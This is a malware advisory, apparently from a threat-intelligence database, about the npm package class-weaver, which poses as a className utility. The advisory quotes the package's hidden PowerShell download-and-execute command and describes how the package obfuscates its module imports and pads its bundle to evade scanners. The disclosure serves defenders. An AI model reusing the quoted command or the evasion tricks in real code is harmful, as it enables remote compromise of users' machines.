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Malicious code in class-weaver (npm)

0
Critical
Published: 05/24/2026 (05/24/2026, 17:19:48 UTC)
Source: GCVE Database
Product: class-weaver

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Affected software

npmghsa
class-weaver
Affected versions
=1.0.0

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AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/14/2026, 09:26:06 UTC

Technical Analysis

The 'class-weaver' npm package (version 1.0.0) masquerades as a className/theme utility but contains a concealed remote code execution backdoor within its applyGlobalStyles({palette, accents}) function. This function uses AES-256-CBC decryption with a hardcoded key to decode attacker-controlled input and then executes a PowerShell command that downloads and runs arbitrary JavaScript code on Windows systems. The package uses obfuscation techniques, including string-split array-join imports of node:crypto and node:child_process modules and numerous filler functions, to hide the malicious payload and evade static analysis. Invoking the documented API with attacker-controlled parameters triggers the malicious behavior, effectively giving an attacker full control over the affected system.

Potential Impact

Any computer with the 'class-weaver' package version 1.0.0 installed or running is considered fully compromised. The malicious code allows remote code execution, enabling attackers to execute arbitrary JavaScript code with the privileges of the running process. This can lead to complete system takeover, exposure of secrets and keys, and persistent backdoors. Removal of the package alone does not guarantee elimination of all malicious artifacts or access, as the attacker may have established further control.

Mitigation Recommendations

No official patch or fix is currently available for this malicious package. Immediate removal of the 'class-weaver' package version 1.0.0 is strongly recommended. Systems with this package installed should be treated as compromised; all secrets and credentials stored on these systems must be rotated from a secure, unaffected environment. Monitor for any signs of persistent compromise and consider full system reimaging if feasible. Avoid using this package or any untrusted packages from npm without thorough vetting.

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Technical Details

Gcve Source
db.gcve.eu
Osv Id
MAL-2026-4521
Osv Schema Version
1.7.4
Aliases
["GHSA-jx4m-wmh7-wmhr"]
Ecosystems
["npm"]
Database Specific Severity
null
Cvss Version
null

Threat ID: 6a55ff5168715ace432f00b0

Added to database: 07/14/2026, 09:20:17 UTC

Last enriched: 07/14/2026, 09:26:06 UTC

Last updated: 07/30/2026, 21:42:29 UTC

Views: 32

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